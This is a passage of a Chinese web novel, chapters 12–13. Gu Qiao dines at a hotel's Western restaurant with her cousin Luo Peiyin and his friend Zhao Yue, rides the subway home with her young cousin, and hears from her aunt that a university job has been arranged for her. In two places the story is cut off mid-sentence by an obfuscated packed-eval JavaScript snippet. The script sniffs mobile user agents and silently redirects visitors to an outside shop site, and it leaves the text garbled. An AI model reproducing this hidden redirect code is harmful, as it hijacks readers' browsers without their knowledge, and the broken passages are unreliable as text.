“你也太会给你二哥省钱了,他能只请你吃个肯德基吗?你哥带你去富晶酒店吃西餐。”说着他对着骆培因感叹了一句,“上次去里面好多日本人,还都是报旅行团来的。感觉现在日本人比老美还阔。” 出门前,骆培因注意到谷翘换上了她的黄衬衫。之前他在外面两次碰见她,她都穿这件衣服。 骆培因先给谷翘开了车门让她上车之后,才坐到了副驾驶。他从前面递给谷翘一把扇子:“这车空调坏了,你要热就用扇子扇一扇。” 谷翘接过扇子,递给了坐在她旁边的骆老四。 刚上车,赵钺就主动跟谷翘说话:“表妹,你这咖啡做得不错啊!” “谢谢!”谷翘乍一听到表妹这两个字愣了下,才意识到他是指自己。她想估计是骆培因介绍她是他表妹,赵钺就随着他一起叫。她不太会谦虚,别人夸她,她从不说“哪里哪里”“没有没有”,只说谢谢。 “表妹,你想听什么音乐?我给你放。” “我听什么都行。”听到赵钺又叫她表妹,谷翘觉得有必要自我介绍一下,她对赵钺说,“我叫谷翘,你叫我名字就好啦?” “你叫谷翘?” 12.第 12 章 赵钺一激动,忘记看前车,等到快要撞上的时候,才突然急刹车,幸好大家都系着安全带,倒也没事儿。 谷翘听赵钺的口气,心里叫一声不好。不会赵钺已经看到报纸上的内容了吧。她自己倒不是很有所谓,估计骆培因不会开心赵钺提这个话题。 赵钺笑道:“谷表妹,你是不是……?” 骆培因打断了他:“你如果没心思开车的话,那咱们换一下。” 赵钺笑:“你今天请我吃饭,我怎么好意思再让你开车?虽然你请我只是顺带的吧,我是沾了谷表妹的光。” 没等骆培因说话,谷翘忙纠正赵钺:“你这话就不符合事实啦,我才是顺带的。表哥是要请你吃饭,我除了表哥,还要感谢你才对。你就别客气啦。太谦虚的话别人就会认为你虚伪啦。”她不认为骆培因是特地请自己,但是表哥怕她落单儿,特地把她带上,她已经很领情啦。 不过她觉得表哥的好心好像被他朋友给误会了。 她读高中的时候,总有男生看见一男一女在一起就把人配对开玩笑,她对此非常反感。有次她看见班里一个瘦弱的男生被人欺负,就过去帮他抱不平,结果后来不知怎么传成了她和那男孩子在谈恋爱,而她之所以帮忙是因为护夫心切。她听了这谣言很恶心,直接找到这传谣的人把他骂了一顿。 赵钺虽然话说得并不露骨,但谷翘不知怎么硬是觉到了点同样的意思。她隐约觉得赵钺在开她和骆培因的玩笑。她当然要反驳。 骆培因没说话,谷翘便认为他默认自己说得对。为防止赵钺这人再次把话题扯到她和骆培因身上,她主动对赵钺说:“赵钺哥,你这身打扮很时髦呀。”以前在谷翘生活的县城里,也有几个引领时尚潮流的男青年,但是谷翘出于乡间对时髦男青年的偏见,见到这些时髦男的总是躲着走。 赵钺今天是牛仔裤配花衬衫,裤子衬衫皮鞋包括戴的风镜都是香港货。虽然牌子大些也贵些,但赵钺很轻易让谷翘想到了县里的时髦男青年。她还是更习惯表哥低调的打扮,不过她现在想着,既然已经来到了新地方,那么眼光应该更开放包容些,学会欣赏周围的一切。 赵钺倒没想到谷翘会突然把重点转移到他身上,她这么一夸他,反而把他别的话堵住了。投桃报李,他也夸谷翘发型不错。骆老四马上补充说,表姐的头发是妈妈带她去富晶美发部剪的,他也喜欢富晶的理发师。骆老四又问赵钺最近电影院上了什么新片子。这两年电影院也受到冲击,去录像厅,花一张电影票钱,看好几部片子,可选择的也比电影院多,电影院反倒没什么人问津了。 三个人说话有来有往,只骆培因一个人沉默。骆培因对谷翘更新了一层认识,这人跟谁都这么热络。 骆老四抱怨自己妈妈对自己全方位管控,连游戏也不让自己玩,武侠小说也不让看,吃鸡翅也要每周限制次数。。 赵钺笑道:“游戏和小说你二哥以前倒是有很多私藏,不过早都送人了。”他就是受益者之一。 骆老四很羡慕地说:“那都是二哥的妈妈买给他的吧。” 骆培因并没回他。如果廖女士是骆老四的母亲,知道他喜欢吃炸鸡,并不会禁止,而是让他一天三顿都吃,直到吃到吐。廖女士就是这么对待自己儿子的,如果她不赞成儿子一件事,她不会阻止,只会百分之二百地满足,直到他对此厌烦。骆培因以前有一阵儿玩游戏,廖女士搜罗了当时所有世面上的游戏给儿子,那个暑假骆培因在一次次通关中彻底对游戏免疫。当然因为廖女士并不想让儿子对金钱厌烦,而是保持饥渴,所以她在现金这件事上并不怎么满足他的儿子。 骆老四在心里默默羡慕起二哥来,母亲远在天边,一年只见几次面,不光不管他,还送好多礼物。只是这羡慕不便明说,只能叹了一口气。 西餐厅在二十楼,谷翘还是头一次上这么高的楼。 “又是日本的旅行团,这几年日本人到处收购美国的公司。感觉老美已经气坏了。东京的房价现在已经涨到了这个数。”赵钺用手指比了个数字,“东京好地段的房子,一个倍儿小的厕所都能买咱们这里一个大四合院了。咱们这儿很快也要搞商品房。我哥他朋友现在去海南搞房产了。”赵钺并没把这个话题深入下去,因着有骆培因之外的人在,赵钺这话题点到为止。 落座之后,因为谷翘是这桌唯一的女士,赵钺直接把菜单递给了她,让她先点。 赵钺对谷翘说:“点餐的时候你直接说中文就行。不像我和你表哥前几年来,人家开场唯一对我们说的一句中文是,我们这里付账要使用兑换券,那话好像不是从人嘴里说出来的,就像是从鼻子眼儿里钻出来的。” 那时他们还是中学生,他带头敲了骆培因一笔。游完泳,大家直接来这儿吃饭,穿得都很随便。本来他们是入乡随俗,虽然觉得大家彼此都是一国人,偏要用外国话点餐有点儿怪,不过既然人家是这个规矩,也就按这个来。但那天服务员在用鼻子说完结账使用兑换券后,就开始从嘴里冒出一串英文。他们脾气上来,偏要用中文点餐。接下来的气氛变得有点儿诡异,服务员好像听不懂他们的汉语,他们好像也不懂服务员的英文,彼此都请对方重复了不止一遍,在一番交涉之后,终于把菜给点了。 前菜还没上,服务员就把汤和甜点一块端了上来,把碗碟墩到桌上,一个字没说扭头就走。联想到点菜时的不快,赵钺当时就来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13759048|144253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,倒不是为上菜没按正常的顺序。虽然他家里比一般人好些,但周围普遍环境如此,再富裕也富裕不到哪儿去,拣着上菜顺序较真儿,好像自个儿跟华侨归国似的吃了多少年西餐,倒显得有点儿装了,说实话有的吃就行,他一个十几岁的中学生真不在乎这个。但扬着高傲的头颅把碟子直接墩到他面前,不说一字就扬长而去,他可不受这个,来吃饭,又不是找气受的。 等服务员维持着刚才的态度再来上菜的时候,他正准备发火,骆培因用眼神制止住了他。随后,骆培因用英语开始跟服务员交流,问为什么上菜顺序错了,当服务员找理由解释的时候,骆培因开始一个单词单词地纠正对方的发音,他用英语说,既然坚持说英语,那就应该把话说明白让人听懂。最后骆培因建议如果服务员坚持用英语交流,为了达到交流的目的,他应该重新去培训一下他的口语。服务员的脸越来越红,简直要跟红酒一个颜色了,而骆培因自始至终是笑着的。 那次之后,赵钺就觉得骆培因这个人比自己狠。他之所以平常看起来挺好,是因为没有什么人刻意去得罪他。真得罪了他,可不是好相与的。 谷翘又把菜单从自己面前推走:“我第一次来这儿,不太熟,还是你们点吧。” 骆培因倒也没推脱,他问了谷翘和骆老四的口味,直接做主点了餐。只有点甜品和饮品的时候,他问了一下谷翘的意见。甜品只有谷翘和骆老四的。赵钺倒不喜欢吃甜品,但他想要杯酒。 骆培因拒绝了他:“喝白水吧。” “可以挂我哥房账上,我哥在这儿有包房。”赵钺知道骆培因不是故意小气,虽然他妈生意铺得很大,但他好像手里的活钱并不比自己多多少。自己最近沾了亲哥的光,反而比他好点儿。 “说了我请客。” 赵钺没再说,转而对着谷翘说:“你表哥对你也太好啦,连点个菜都这么周到,我都羡慕了。” 谷翘马上对其进行了小小的纠正:“那是表哥人好,要是你第一次来这儿,对这儿不熟,他也会帮你的。” 赵钺靠了一声,音很轻,谷翘没听见,他又补了一句:“你表哥在学校很受女孩子欢迎的,但他……” 赵钺这句话没说完,谷翘就说:“我觉得也是,他这么善良,肯定很受欢迎。” “你认为别人喜欢他是因为他善良?”赵钺简直要笑。这丫头到底脑袋里长了什么。先不说善良到底属不属于骆培因这个人的品质。在讨人喜欢这件事上,他的家世长相学历哪个不比他是否善良重要。就算说他因为在乐队当过键盘手吸引了女孩子,也比别人被他的善良吸引有可信度。 这用词果然是能写出那种感谢信的人。 13.第 13 章 谷翘反问赵钺:“你不会认为表哥不善良吧。” 这个人可真会抓重点,赵钺笑道:“我是说你表哥还有其他许多美好的品质,你可以挖掘一下。听你这么看重善良,我倒想介绍肖珈给你认识一下。这个人连你表哥都不得不承认他善良。”可是肖珈喜欢的那个女贝斯手可没因为他善良喜欢他,而是瞄上了骆培因。后来骆培因退出了乐队,肖珈还特真诚地以为是自己的问题,他悲壮地请骆培因勇敢去追求他的爱情,不要碍于友情选择放弃。 “肖珈当时都已经读大学了,还会为他喜欢的女孩子叠千纸鹤。”赵钺想起肖珈叠的那一大瓶子千纸鹤,当时简直狂笑不能自己,心想这哥们脑子确实和一般人不一样。自己天真纯良,偏偏喜欢狂放不羁的女孩子。 谷翘以为赵钺是当作一件很好的例子来叙述的:“那他很细心啊。” 赵钺看着骆培因笑:“我没说错吧,璞玉总会有识货的人欣赏。” 骆培因的手指在赵钺杯前敲了两下:“说了这么多,喝口水吧。” 沉默间,骆老四听出餐厅里演奏的德彪西,马上报出了曲名,等着人来表扬。 谷翘很配合地为他竖起大拇指:“你耳朵真灵。” 其他两个人无动于衷,骆老四心想,还得是自家表姐。想到表姐是第一来这儿,骆老四决定对其进行一下指导,他很认真地跟谷翘解说西餐礼仪,并且指导表姐用刀叉拿杯子的姿势,他的姿势是母亲按标准指正过的,据说是传说中最符合礼仪的姿势,母亲这样做,理由当然是为他好。如今他为了表姐好,也不辞辛苦一丝不苟地纠正她。 谷翘近日来在厨房里一直操练,小小一把西餐刀自然不在话下,切牛排也稳准狠。但是骆老四在旁边一板一眼地指导她,她简直不知道手该放哪儿了,她也听不出骆老四嘴里说的和自己的手法到底有什么不一样。任何刀本质都是一样的,都能熟练使用菜刀的人,难道不知道怎么用一副西餐刀叉吗?知道表弟不是坏心,谷翘正准备说“别为难表姐了,表姐就这样用,好好吃你的吧。” 这话还没出口,就听见骆培因对弟弟说:“我倒没听说过你这个公认的标准。让你表姐按她习惯吧。这个本来就是怎么顺手怎么来。” 赵钺很少为别人尴尬,但今天他有点儿同情谷翘。照老四那种教的架势,好像是谷翘是今生第一次吃饭似的,还得用他这个小孩子手把手教。他也没看出谷翘用的有什么毛病。他也做过小孩子,知道小孩子在人前都有点表演欲,但是借着教谷翘,一次次表现自己多熟知西餐礼仪,多少有点过分了,完全不给人面子,谷翘不红脸也算是难得。要是他自己表弟,他马上给丫一脚叫他马上闭嘴。但到底是别人的家事,他也不好插嘴。他听出骆培因对于老四喋喋不休的厌烦大过于对谷翘的维护,到底不是亲弟弟,不好把话说得太难听。 不过赵钺有新发现。他发现骆培因确实对这丫头没有他之前猜测的那种意思。谷翘是谷家这边的亲戚,她表弟这样对她,她在这个家恐怕很难,怪不得要巴着骆培因这个没血缘关系的表哥了,谷翘倒是机灵,开口闭口表哥多善良,故意把骆培因架得很高,让他不得不对自己善良。但是她这招用错人了,骆培因平常都被人恭维出茧子了,对于这一类的话早已是左耳进右耳出。那封感谢信恐怕也是为了讨好骆培因。可惜她弄巧成拙,她整出那封感谢信,别人也许会买账,骆培因本人只会因为言过其实觉得可笑。 倒是有一点赵钺实在疑惑,骆培因并没追究那封感谢信,也没用冷脸把这个没半点血缘关系的亲戚拒之千里,还把谷翘带出来一起吃饭。莫非半月没见,骆培因的境界已经提高到了他不能猜测的地步? 骆老四倒没觉得他二哥境界提高了。他嘴上说好,但是心里却讨厌起二哥来。谷翘是他的表姐,他指导她,关二哥什么事。还说根本没听过他这套标准,好像他刚才的指导是个笑话。他侧眼看表姐,发现表姐又回到了她原来的用法,他刚才的指导没在她手上留下一点儿痕迹。表姐恐怕觉得二哥的话更权威。二哥真讨厌,在家里独占爸爸的重视就算了,连奶奶做饭只照顾他的口味也算了。但是表姐是他的亲戚,表哥也要把目光都吸过去,真是过分! 这样想着,虽然骆老四吃到了他喜欢的甜品,但这顿饭他吃得并不怎么开心。 此时赵钺的呼机响了,他低头看了下号码,对着旁边的骆培因说,“你们先吃着,老曹呼我,我去回个电话。”起身时目光转向其他桌正手拿大哥大的男人,“赶明儿我也整个这玩意儿用用。” 过了会儿赵钺回来,对骆培因说:“他们知道我跟你在一起,非要来找你,我就约在了一楼的咖啡厅。” 一餐饭吃完,骆培因结了账,赵钺笑着问谷翘:“要不要一起下去喝杯咖啡。” “谢谢,不用了。”谷翘刚才听到赵钺说他们和别人约在了咖啡厅,她当然不方便去凑热闹。 骆培因从口袋里掏出两张票子递给谷翘:“你打车带老四回去吧。” 他因为现金不多,也就把钱夹子扔在了一边。母亲送他的钱夹子据说要几百美刀,这钱包大材小用,里面装的远不如它本身的价值。 “表哥,不用了,我有钱,我们俩坐地铁回家。你放心,我来这么多天了,绝不会迷路,保证把老四安全送到家。”她来这些天,还一次地铁都没坐过呢。最近有张报纸上说马上就九十年代了,现在的地铁票价还是多少年前定下来的,和现在的运营费用很不匹配,是时候该考虑涨价了。不过对谷翘来说,两毛钱一张的地铁票也算不上便宜。她准备在地铁涨价前,坐一次地铁。 “好吧。你晚上不用像以前一样做那么多菜了,我从馆子里带几个菜回去,你随便做两个就好。” 谷翘想,大概是表哥很重视今天的客人,特意从外面叫菜。几十年的大厨肯定比自己这个新手做得好。她说了好,等电梯下到一楼,她对着骆培因和赵钺说了再见,就牵着骆老四的手往外走。 走到酒店门口,她让骆老四在原地等她,她马上就回。她风风火火地又跑了进去,走近骆培因的时候,整个人差点儿滑倒在地上,骆培因扶住了她。谷翘站定了不好意思地笑笑。 对方还没问她有什么事这么急,谷翘嘴里的字儿已经往外蹦了一串:“表哥,你准备在馆子里点什么菜?我别做重复了。还有你有什么想吃的,又不准备在馆子里点,我可以给你做。”这顿饭很不便宜,为感谢表哥请她一起吃饭,谷翘觉得自己也应该有点小小的表示。怕骆培因不好意思说,谷翘直接给了他五个选择,让他从里面选。 等谷翘走了,赵钺在骆培因旁边乐:“你这表妹有点儿意思啊,在你家里有点儿大材小用了。” “你要真这么觉得,有什么工作你觉得不错可以介绍给她。” 谷翘第一次坐地铁,但是她没费什么功夫,就把自己和骆老四带进了车厢,奔着目的地奔去。来到这个城市,经历了许多第一次,都被她很快地适应了。谷翘对自己的好感又多了一分,自己果然有预想得那么能干,将来不愁赚不到钱。 地铁里比外面凉快,这列地铁是从国外进口的,座位上方有行李架。有一白发老奶奶进来,车上没座,谷翘马上把座位让给了她。她站在骆老四旁边,时不时看他一眼,怕他找不见了。 骆老四越想越不开心,表姐是自己的,二哥怎么也要来跟他抢?他自己的姐姐妹妹还不够多吗? 他盯着谷翘问:“表姐,我是不是这个家里你最喜欢的人?” 谷翘听到“这个家里最喜欢的人”,竟没有一个答案。以她的身份,她应该也必须最喜欢堂姨,因为堂姨帮了她,她能感觉到堂姨对自己好,但这好有一点不得不的成分,她甚至能感觉到堂姨一直在掂量,她到底值不值得这份付出。最喜欢表哥?她知道表哥对自己好,除了他善良,还因为她是堂姨的亲戚。说最喜欢表哥,不光其他人有想法,就连表哥自己也未必开心。 但她没有对骆老四说谎,她笑着对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13766426|144253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说:“在这个家,咱们俩最熟啦。”这是真的,骆家和她交流最多的就是骆老四,骆老四经常围绕菜谱和她进行交流。她对这个家的许多了解还是从骆老四那里得来的。 骆老四又开心了。他以为乡下人比较保守矜持,是不会像他这样把喜欢挂在嘴边的。表姐说和他最熟,跟最喜欢他也没什么分别。 这样开心着,骆老四便对谷翘说:“咱们两个才是真亲戚,要没我妈妈这层关系,二哥跟你和陌生人没什么不一样。如果不是我,他也不会带你来吃西餐。” 从地铁到家,谷翘进门就看到了小姨坐在客厅里。 骆老四跟他妈妈讲了二哥带他去吃西餐,又让他们两个人自己回来,“我和表姐是坐地铁回来的,地铁上还挺挤,到了夏天有一股味。” 骆太太听了,便问谷翘:“你表哥怎么没把你们送回来?” “表哥有事儿,他本来要给我钱让我打车回的。是我没要,决定带表弟坐地铁回家。” 骆太太觉得谷翘没要骆培因的钱是对的,倒也没怎么怪谷翘,只是说:“你下次别带他坐地铁了。地铁里这几年人太多,又挤,小孩子免疫力低,传染上什么病就麻烦了。我之前给你的钱,你没必要只买菜时花,出门打车有什么需要都可以用。没了再管我要。自家人,不必在这方面客气。”骆太太觉得骆培因应该打个车,把谷翘和儿子送上车再去忙他的事,酒店门口车很好打,这也不费什么事,而不是给张票子让谷翘自己打车。弟弟还小,谷翘刚从乡下来这里没多少天,让他俩从酒店里自己出来,多少有点不负责任。她这样想,却没说出来。 骆老四自己嘀咕:“我倒没那么脆弱。”听说妈妈给表姐钱,照这意思肯定是工钱之外的,也不知道给了多少。表姐还有工钱。下次让表姐请自己吃肯德基。大姐二哥都请过自己,也该轮到翘表姐了。 骆太太又问谷翘今晚准备了什么菜,等听到骆培因要从馆子里带几个菜回来,她心里纳闷,这老二怎么今天突然关心起厨房的事情来。以前也没见骆培因对周家来客有什么特别的表示。骆太太没把疑惑显出来,只让谷翘按骆培因的做,又让老钱开车特意去周家女孩儿爱吃的蛋糕店买提拉米苏。 “快去练琴!”骆太太把儿子赶到楼上,进到谷翘的小房间,关上门对谷翘说,“之前你不是一直担心工作的事情吗?这件事你周瓒叔叔一个电话打过去就替你解决了,等过两天开了学就去Z大总务处工作。工作还算轻松,你有时间可以复习一下文化课。以后有了夜大文凭,以后也好有更好的工作。到时候你妈妈也放心了。” 给谷翘解决工作的事,找别人当然也可以;但谁都没周瓒方便,只有他,她不用解释这是她的哪门子乡下亲戚。和以前不一样了,现在也有周瓒请她帮忙的时候。骆太太不认为周瓒帮忙是对自己的姐姐旧情未了,她是谷静淑的妹妹这件事现在对周瓒并不重要,重要的是她是骆伯桉的妻子。 “谢谢小姨。”谷翘说这话的时候眼圈有点儿发红,堂姨为了让妈妈放心,这么快就帮她找到了工作。她有点儿不好意思,之前她低估了堂姨对妈妈的情谊。 “一会儿你周叔叔一家过来,对人家热情一些。”骆太太怕谷翘不周到,提前跟她说起这家人,“周叔叔的妻子姓宁,你叫她宁阿姨就好。他们的女儿比你大一岁,在Z大读新闻,很爱跟人聊天。她要跟你聊,这个度你要掌握好,不要什么事都跟外人说。” “我知道了。” “对了,周叔叔的女儿叫周知宁。”最开始知道周瓒的女儿叫这个名字的事,骆太太心里微微有些不快,不过这点很快就像多年前下的一场雪,现在了无踪迹。 谷翘听到这个名字,第一反应是:“那周叔叔和宁阿姨的感情应该很好了。” 骆太太迟疑了下:“你猜得对,他们感情确实很好。”看来堂姐确实没跟谷翘说她过去的事,否则谷翘说到这句话时不是这个语气。 也好,过去的事提他干什么?